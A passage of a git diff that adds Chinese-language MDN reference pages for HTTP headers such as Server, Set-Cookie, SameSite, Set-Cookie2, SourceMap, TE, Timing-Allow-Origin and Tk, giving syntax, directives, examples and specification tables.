首部包含了处理请求的源头服务器所用到的软件相关信息。</p> + +<p>应该避免使用过长或者过于详细的描述作为 Server 的值,因为这有可能泄露服务器的内部实现细节,有利于攻击者找到或者探测已知的安全漏洞。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Server: <product> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><product></dt> + <dd>处理请求的软件或者产品(或组件产品)的名称。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Server: Apache/2.4.1 (Unix)</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Server", "7.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Server")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Allow")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/set-cookie/index.html b/files/zh-cn/web/http/headers/set-cookie/index.html new file mode 100644 index 0000000000..a899ead69a --- /dev/null +++ b/files/zh-cn/web/http/headers/set-cookie/index.html @@ -0,0 +1,161 @@ +--- +title: Set-Cookie +slug: Web/HTTP/Headers/Set-Cookie +translation_of: Web/HTTP/Headers/Set-Cookie +--- +<div>{{HTTPSidebar}}</div> + +<p>响应首部 <strong><code>Set-Cookie</code></strong> 被用来由服务器端向客户端发送 cookie。</p> + +<p>更多信息请查阅这篇指南: <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Set-Cookie: <cookie-name>=<cookie-value> +Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> +Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> +Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> +Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> +Set-Cookie: <cookie-name>=<cookie-value>; Secure +Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly + +Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict +Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax + +// Multiple directives are also possible, for example: +Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code><cookie-name>=<cookie-value></code></dt> + <dd>一个 cookie 开始于一个名称/值对: + <ul> + <li><code><cookie-name></code> 可以是除了控制字符 (CTLs)、空格 (spaces) 或制表符 (tab)之外的任何 US-ASCII 字符。同时不能包含以下分隔字符: ( ) < > @ , ; : \ " / [ ] ? = { }.</li> + <li><code><cookie-value></code> 是可选的,如果存在的话,那么需要包含在双引号里面。支持除了控制字符(CTLs)、空格(whitespace)、双引号(double quotes)、逗号(comma)、分号(semicolon)以及反斜线(backslash)之外的任意 US-ASCII 字符。<strong>关于编码</strong>:许多应用会对 cookie 值按照URL编码(URL encoding)规则进行编码,但是按照 RFC 规范,这不是必须的。不过满足规范中对于 <cookie-value> 所允许使用的字符的要求是有用的。</li> + <li><strong><code>__Secure-</code> 前缀</strong>:以 __Secure- 为前缀的 cookie(其中连接符是前缀的一部分),必须与 secure 属性一同设置,同时必须应用于安全页面(即使用 HTTPS 访问的页面)。</li> + <li><strong><code>__Host-</code> 前缀:</strong> 以 __Host- 为前缀的 cookie,必须与 secure 属性一同设置,必须应用于安全页面(即使用 HTTPS 访问的页面),必须不能设置 domain 属性 (也就不会发送给子域),同时 path 属性的值必须为“/”。</li> + </ul> + </dd> + <dt>Expires=<date> {{optional_inline}}</dt> + <dd> + <p>cookie 的最长有效时间,形式为符合 HTTP-date 规范的时间戳。参考 {{HTTPHeader("Date")}} 可以获取详细信息。如果没有设置这个属性,那么表示这是一个<strong>会话期 cookie </strong>。一个会话结束于客户端被关闭时,这意味着会话期 cookie 在彼时会被移除。然而,很多Web浏览器支持会话恢复功能,这个功能可以使浏览器保留所有的tab标签,然后在重新打开浏览器的时候将其还原。与此同时,cookie 也会恢复,就跟从来没有关闭浏览器一样。</p> + </dd> + <dt>Max-Age=<non-zero-digit> {{optional_inline}}</dt> + <dd>在 cookie 失效之前需要经过的秒数。秒数为 0 或 -1 将会使 cookie 直接过期。一些老的浏览器(ie6、ie7 和 ie8)不支持这个属性。对于其他浏览器来说,假如二者 (指 <code>Expires</code> 和<code>Max-Age</code>) 均存在,那么 Max-Age 优先级更高。</dd> + <dt>Domain=<domain-value> {{optional_inline}}</dt> + <dd>指定 cookie 可以送达的主机名。假如没有指定,那么默认值为当前文档访问地址中的主机部分(但是不包含子域名)。与之前的规范不同的是,域名之前的点号会被忽略。假如指定了域名,那么相当于各个子域名也包含在内了。</dd> + <dt>Path=<path-value> {{optional_inline}}</dt> + <dd>指定一个 URL 路径,这个路径必须出现在要请求的资源的路径中才可以发送 Cookie 首部。字符 %x2F ("/") 可以解释为文件目录分隔符,此目录的下级目录也满足匹配的条件(例如,如果 path=/docs,那么 "/docs", "/docs/Web/" 或者 "/docs/Web/HTTP" 都满足匹配的条件)。</dd> + <dt>Secure {{optional_inline}}</dt> + <dd>一个带有安全属性的 cookie 只有在请求使用SSL和HTTPS协议的时候才会被发送到服务器。然而,保密或敏感信息永远不要在 HTTP cookie 中存储或传输,因为整个机制从本质上来说都是不安全的,比如前述协议并不意味着所有的信息都是经过加密的。 + <p class="note"><strong>注意:</strong>非安全站点(http:)已经不能再在 cookie 中设置 secure 指令了(在Chrome 52+ and Firefox 52+ 中新引入的限制)。</p> + </dd> + <dt>HttpOnly {{optional_inline}}</dt> + <dd>设置了 HttpOnly 属性的 cookie 不能使用 JavaScript 经由 {{domxref("Document.cookie")}} 属性、{{domxref("XMLHttpRequest")}} 和 {{domxref("Request")}} APIs 进行访问,以防范跨站脚本攻击({{Glossary("XSS")}})。</dd> + <dt>SameSite=Strict<br> + SameSite=Lax {{optional_inline}} {{experimental_inline}}</dt> + <dd> + <p>允许服务器设定一则 cookie 不随着跨域请求一起发送,这样可以在一定程度上防范跨站请求伪造攻击({{Glossary("CSRF")}})。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="会话期_cookie">会话期 cookie</h3> + +<p>会话期 cookies 将会在客户端关闭时被移除。 会话期 cookie 不设置 Expires 或 Max-Age 指令。注意浏览器通常支持会话恢复功能。</p> + +<pre>Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre> + +<h3 id="持久化_cookie">持久化 cookie</h3> + +<p>持久化 Cookie 不会在客户端关闭时失效,而是在特定的日期(Expires)或者经过一段特定的时间之后(Max-Age)才会失效。</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly +</pre> + +<h3 id="非法域">非法域</h3> + +<p>属于特定域的 cookie,假如域名不能涵盖原始服务器的域名,那么<a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">应该被用户代理拒绝</a>。下面这个 cookie 假如是被域名为 originalcompany.com 的服务器设置的,那么将会遭到用户代理的拒绝:</p> + +<pre>Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre> + +<h3 id="Cookie_前缀">Cookie 前缀</h3> + +<p>名称中包含 __Secure- 或 __Host- 前缀的 cookie,只可以应用在使用了安全连接(HTTPS)的域中,需要同时设置 secure 指令。另外,假如 cookie 以 __Host- 为前缀,那么 path 属性的值必须为 "/" (表示整个站点),且不能含有 domain 属性。对于不支持 cookie 前缀的客户端,无法保证这些附加的条件成立,所以 cookie 总是被接受的。</p> + +<pre>// 当响应来自于一个安全域(HTTPS)的时候,二者都可以被客户端接受 +Set-Cookie: __Secure-ID=123; Secure; Domain=example.com +Set-Cookie: __Host-ID=123; Secure; Path=/ + +// 缺少 Secure 指令,会被拒绝 +Set-Cookie: __Secure-id=1 + +// 缺少 Path=/ 指令,会被拒绝 +Set-Cookie: __Host-id=1; Secure + +// 由于设置了 domain 属性,会被拒绝 +Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td> + <td>HTTP State Management Mechanism</td> + </tr> + <tr> + <td>{{RFC("draft-ietf-httpbis-cookie-prefixes-00")}}</td> + <td>Cookie Prefixes</td> + </tr> + <tr> + <td>{{RFC("draft-ietf-httpbis-cookie-same-site-00")}}</td> + <td>Same-Site Cookies</td> + </tr> + <tr> + <td>{{RFC("draft-ietf-httpbis-cookie-alone-01")}}</td> + <td>Strict Secure Cookies</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Set-Cookie")}}</p> + +<h2 id="关于兼容性的注意事项">关于兼容性的注意事项</h2> + +<ul> + <li>从 Chrome 52 和 Firefox 52 开始,非安全站点(http:)已经不能再在 cookie 中设置 "secure" 指令了。</li> +</ul> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/set-cookie/samesite/index.html b/files/zh-cn/web/http/headers/set-cookie/samesite/index.html new file mode 100644 index 0000000000..ea0c7f0be3 --- /dev/null +++ b/files/zh-cn/web/http/headers/set-cookie/samesite/index.html @@ -0,0 +1,114 @@ +--- +title: SameSite cookies +slug: Web/HTTP/Headers/Set-Cookie/SameSite +translation_of: Web/HTTP/Headers/Set-Cookie/SameSite +--- +<div></div> + +<p><strong><code>SameSite</code></strong> 是HTTP响应头 <span class="seoSummary">{{HTTPHeader("Set-Cookie")}}</span> 的属性之一。它允许您声明该Cookie是否仅限于第一方或者同一站点上下文。</p> + +<h2 id="值">值</h2> + +<p> <code>SameSite</code> 接受下面三个值:</p> + +<h3 id="Lax"><code>Lax</code></h3> + +<p>Cookies允许与顶级导航一起发送,并将与第三方网站发起的GET请求一起发送。这是浏览器中的默认值。</p> + +<h3 id="Strict"><code>Strict</code></h3> + +<p>Cookies只会在第一方上下文中发送,不会与第三方网站发起的请求一起发送。</p> + +<h3 id="None"><code>None</code></h3> + +<p>Cookie将在所有上下文中发送,即允许跨域发送。</p> + +<p>以前 <code>None</code> 是默认值,但最近的浏览器版本将 <code>Lax</code> 作为默认值,以便对某些类型的跨站请求伪造 ({{Glossary("CSRF")}}) 攻击具有相当强的防御能力。</p> + +<p>使用 <code>None</code> 时,需在最新的浏览器版本中使用 <a href="https://wiki.developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie"><code>Secure</code></a> 属性。更多信息见下文。</p> + +<h2 id="针对常见警告信息的解决办法">针对常见警告信息的解决办法</h2> + +<h3 id="SameSiteNone_需要_Secure"><code>SameSite=None</code> 需要 <code>Secure</code></h3> + +<p>如果没有设置 <code>Secure</code> 属性,控制台中可能会出现以下警告:</p> + +<blockquote> +<p>Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.<br> + Cookie “<em>myCookie</em>” rejected because it has the “sameSite=none” attribute but is missing the “secure” attribute.</p> +</blockquote> + +<p>出现此警告是因为需要 <code>SameSite=None</code> 但未标记 <code>Secure</code> 的任何cookie都将被拒绝。</p> + +<pre class="example-bad notranslate">Set-Cookie: flavor=choco; SameSite=None</pre> + +<p>要解决此问题,必须将 <code>Secure</code> 属性添加到 <code>SameSite=None</code> cookies中。</p> + +<pre class="example-good notranslate">Set-Cookie: flavor=choco; SameSite=None; <strong>Secure</strong></pre> + +<p><a href="https://wiki.developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie"><code>Secure</code></a> cookie仅通过HTTPS协议加密发送到服务器。请注意,不安全站点(<code>http:</code>)无法使用 <code>Secure</code> 指令设置cookies。</p> + +<h3 id="没有_SameSite_属性的Cookies默认为_SameSiteLax">没有 <code>SameSite</code> 属性的Cookies默认为 <code>SameSite=Lax</code></h3> + +<p>最新版本的现代浏览器为cookies的 <code>SameSite</code> 提供了更安全的默认值,因此控制台中可能会显示以下消息:</p> + +<blockquote> +<p>Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.<br> + Cookie “<em>myCookie</em>” has “sameSite” policy set to “lax” because it is missing a “sameSite” attribute, and “sameSite=lax” is the default value for this attribute.</p> +</blockquote> + +<p>出现警告是因为未显式指定cookie的 <code>SameSite</code> 属性:</p> + +<pre class="example-bad notranslate">Set-Cookie: flavor=choco</pre> + +<p>虽然您可以依赖现代浏览器自动应用 <code>SameSite=Lax</code>,但您应该显式地指定它,以便清楚地传达您的意图,即要如何将 <code>SameSite</code> 属性应用到您的cookie。这也将改善跨浏览器的体验,因为并不是所有浏览器都默认为 <code>Lax</code>。</p> + +<pre class="example-good notranslate">Set-Cookie: flavor=choco; <strong>SameSite=Lax</strong></pre> + +<h2 id="示例"><strong>示例</strong></h2> + +<pre class="notranslate">RewriteEngine on +RewriteBase "/" +RewriteCond "%{HTTP_HOST}" "^example\.org$" [NC] +RewriteRule "^(.*)" "https://www.example.org/index.html" [R=301,L,QSA] +RewriteRule "^(.*)\.ht$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule;01;https://www.example.org;30/;SameSite=None;Secure] +RewriteRule "^(.*)\.htm$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule;02;https://www.example.org;30/;SameSite=None;Secure] +RewriteRule "^(.*)\.html$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule;03;https://www.example.org;30/;SameSite=None;Secure] +[...] +RewriteRule "^admin/(.*)\.html$" "admin/index.php?nav=$1 [NC,L,QSA,CO=RewriteRule;09;https://www.example.org:30/;SameSite=Strict;Secure] +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td> + <td>HTTP State Management Mechanism</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05">draft-ietf-httpbis-rfc6265bis-05</a></td> + <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Set-Cookie", 5)}}</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/set-cookie2/index.html b/files/zh-cn/web/http/headers/set-cookie2/index.html new file mode 100644 index 0000000000..0129700100 --- /dev/null +++ b/files/zh-cn/web/http/headers/set-cookie2/index.html @@ -0,0 +1,72 @@ +--- +title: Set-Cookie2 +slug: Web/HTTP/Headers/Set-Cookie2 +tags: + - 废止 + - 首部 +translation_of: Web/HTTP/Headers/Set-Cookie2 +--- +<div>{{HTTPSidebar}} {{obsolete_header}}</div> + +<p><strong><code>Set-Cookie2</code></strong> 是一个响应首部,已废弃使用。它被服务器用来向客户端发送 cookie 数据,但是已经在协议中被标记为不赞成使用了。请使用 {{HTTPHeader("Set-Cookie")}} 将其代替。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Set-Cookie2: <cookie-name>=<cookie-value> +Set-Cookie2: <cookie-name>=<cookie-value>; Comment=<value> +Set-Cookie2: <cookie-name>=<cookie-value>; CommentURL=<http-url> +Set-Cookie2: <cookie-name>=<cookie-value>; Discard +Set-Cookie2: <cookie-name>=<cookie-value>; Domain=<domain-value> +Set-Cookie2: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> +Set-Cookie2: <cookie-name>=<cookie-value>; Path=<path-value> +Set-Cookie2: <cookie-name>=<cookie-value>; Port=<port-number> +Set-Cookie2: <cookie-name>=<cookie-value>; Secure +Set-Cookie2: <cookie-name>=<cookie-value>; Version=<version-number> + +// Multiple directives are also possible, for example: +Set-Cookie2: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure + +// Multiple cookies are seperated by a comma +Set-Cookie2: <cookie-name>=<cookie-value>, <cookie-name>=<cookie-value>, ... +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("2965", "Set-Cookie2")}}</td> + <td>Historic specification of HTTP State Management Mechanism, obsoleted by {{RFC("6265")}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Set-Cookie2")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/sourcemap/index.html b/files/zh-cn/web/http/headers/sourcemap/index.html new file mode 100644 index 0000000000..e5a77ef625 --- /dev/null +++ b/files/zh-cn/web/http/headers/sourcemap/index.html @@ -0,0 +1,65 @@ +--- +title: SourceMap +slug: Web/HTTP/Headers/SourceMap +translation_of: Web/HTTP/Headers/SourceMap +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>SourceMap</code></strong> <a href="/en-US/docs/Web/HTTP">HTTP</a> 响应头链接生成的代码到一个 <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>,使浏览器能够重建原始的资源然后显示在调试器里。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header 类型</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">SourceMap: <url> +X-SourceMap: <url> (deprecated) +</pre> + +<h3 id="指令">指令</h3> + +<dl> + <dt><code><url></code></dt> + <dd>指向一个source map文件的一个相对(于请求的URL)或者一个绝对的URL。</dd> +</dl> + +<h2 id="例子">例子</h2> + +<pre>SourceMap: /path/to/file.js.map</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td><a href="https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k">Draft document</a></td> + <td>Source Map Revision 3 Proposal</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.SourceMap")}}</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">Firefox Developer Tools: using a source map</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/te/index.html b/files/zh-cn/web/http/headers/te/index.html new file mode 100644 index 0000000000..303c36c5d8 --- /dev/null +++ b/files/zh-cn/web/http/headers/te/index.html @@ -0,0 +1,88 @@ +--- +title: TE +slug: Web/HTTP/Headers/TE +tags: + - HTTP + - 参考 + - 头部 +translation_of: Web/HTTP/Headers/TE +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>TE</strong></code> 请求型头部用来指定用户代理希望使用的传输编码类型。(可以将其非正式称为 <em><code>Accept-Transfer-Encoding</code></em>, 这个名称显得更直观一些)。</p> + +<p>可以参考 {{HTTPHeader("Transfer-Encoding")}} 来获取更多关于传输编码的细节信息。值得注意的是, 支持 HTTP/1.1 协议的接收方一定可以处理 <code>chunked</code> 传输编码请求,所以没有必要一定在 <code>TE</code> 首部指定“chunked”关键字。然而,如果客户端将要接收编码在chunked包体里面的"trailer"信息的时候,主动指定该头部将会非常有用。</p> + +<p> </p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">TE: compress +TE: deflate +TE: gzip +TE: trailers + +// 多个指令, 使用 {{glossary("quality values", "quality value")}} 语法来表示优先级: +TE: trailers, deflate;q=0.5 +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>compress</code></dt> + <dd>这个名称代表采用了 <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 压缩算法的传输编码格式。</dd> + <dt><code>deflate</code></dt> + <dd>这个名称代表采用了 <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 结构的传输编码格式。</dd> + <dt><code>gzip</code></dt> + <dd>这个名称代表采用了 <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77) 压缩算法,以及32位CRC校验的传输编码格式。</dd> + <dt>trailers</dt> + <dd>表示客户端期望在采用分块传输编码的响应中接收挂载字段。</dd> + <dt>q</dt> + <dd> + <p>当多种形式的传输编码格式都可以接受的时候,这个采用了<a href="/en-US/docs/Glossary/Quality_values">质量价值</a>语法的参数可以用来对不同的编码形式按照优先级进行排序。</p> + </dd> +</dl> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7230", "TE", "4.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.TE")}}</p> + +<h2 id="相关资料">相关资料</h2> + +<ul> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> + <li>{{HTTPHeader("Trailer")}}</li> + <li> + <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Chunked transfer encoding</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/headers/timing-allow-origin/index.html b/files/zh-cn/web/http/headers/timing-allow-origin/index.html new file mode 100644 index 0000000000..4c34e30120 --- /dev/null +++ b/files/zh-cn/web/http/headers/timing-allow-origin/index.html @@ -0,0 +1,78 @@ +--- +title: Timing-Allow-Origin +slug: Web/HTTP/Headers/Timing-Allow-Origin +translation_of: Web/HTTP/Headers/Timing-Allow-Origin +--- +<div>{{HTTPSidebar}}</div> + +<p>响应头<code><strong>Timing-Allow-Origin</strong></code>用于指定特定站点,以允许其访问<a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>提供的相关信息,否则这些信息会由于跨源限制将被报告为零</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Timing-Allow-Origin: * +Timing-Allow-Origin: <origin>[, <origin>]* +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt>*</dt> + <dd>服务器可以以“<code>*</code>”作为通配符,从而允许所有域都具有访问定时信息的权限。</dd> + <dt><origin></dt> + <dd>指定一个可以访问资源的URI。你也可以通过逗号隔开,指定多个URI。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>如需允许任何资源都可以看到的计时(timing)信息,你可以如此设置:</p> + +<pre>Timing-Allow-Origin: * +</pre> + +<p>如需允许<code>https://developer.mozilla.org</code>查看你的计时信息,你可以设置:</p> + +<pre>Timing-Allow-Origin: https://developer.mozilla.org</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Resource Timing 3', '#timing-allow-origin', 'Timing-Allow-Origin')}}</td> + <td>{{Spec2("Resource Timing 3")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Timing-Allow-Origin")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a></li> + <li><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Using the Resource Timing API</a></li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/tk/index.html b/files/zh-cn/web/http/headers/tk/index.html new file mode 100644 index 0000000000..191dc634f2 --- /dev/null +++ b/files/zh-cn/web/http/headers/tk/index.html @@ -0,0 +1,91 @@ +--- +title: Tk +slug: Web/HTTP/Headers/Tk +tags: + - DNT + - 响应首部 + - 跟踪 +translation_of: Web/HTTP/Headers/Tk +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Tk</code></strong> 响应首部显示了对相应请求的跟踪情况。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Tk: ! (under construction) +Tk: ? (dynamic) +Tk: G (gateway or multiple parties) +Tk: N (not tracking) +Tk: T (tracking) +Tk: C (tracking with consent) +Tk: P (potential consent) +Tk: D (disregarding DNT) +Tk: U (updated) +</pre> + +<h3 id="指令">指令</h3> + +<dl> + <dt>!</dt> + <dd>待建。源头服务器目前正在测试它对跟踪情况的通信功能。</dd> + <dt>?</dt> + <dd>不确定。源头服务器需要更多的信息来确定跟踪状态。</dd> + <dt>G</dt> + <dd>网关或多方。服务器扮演了网关的角色,与多方进行信息交换。</dd> + <dt>N</dt> + <dd>不跟踪。</dd> + <dt>T</dt> + <dd>跟踪。</dd> + <dt>C</dt> + <dd>在经过用户同意的情况下进行跟踪。源头服务器相信它事先得到了许可来跟踪用户、用户代理或者设备。</dd> + <dt>P</dt> + <dd>尚未接收到的许可。 源头服务器不能实时知道它是否获得了事先许可来跟踪用户、用户代理或者设备,但是会承诺不采用或者共享标记为 <code>DNT:1</code> 的数据,直到获得了事先许可,并进一步承诺将会在 48 小时之内对未经许可的资源进行删除或者对其进行消除身份识别信息处理。</dd> + <dt>D</dt> + <dd>忽略 DNT 首部。源头服务器不支持或者不愿意遵守用户代理发送的跟踪偏好。</dd> + <dt>U</dt> + <dd>更新。请求即将对应用于用户、用户代理或者设备的跟踪情况进行更新。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>声明不对相应资源进行跟踪的 <code>Tk</code> 首部,如下图所以:</p> + +<pre>Tk: N</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Tracking','#Tk-header-defn', 'Tk header field')}}</td> + <td>{{Spec2("Tracking")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("DNT")}} header</li> + <li>{{domxref("Navigator.doNotTrack")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/trailer/index.html b/files/zh-cn/web/http/headers/trailer/index.html new file mode 100644 index 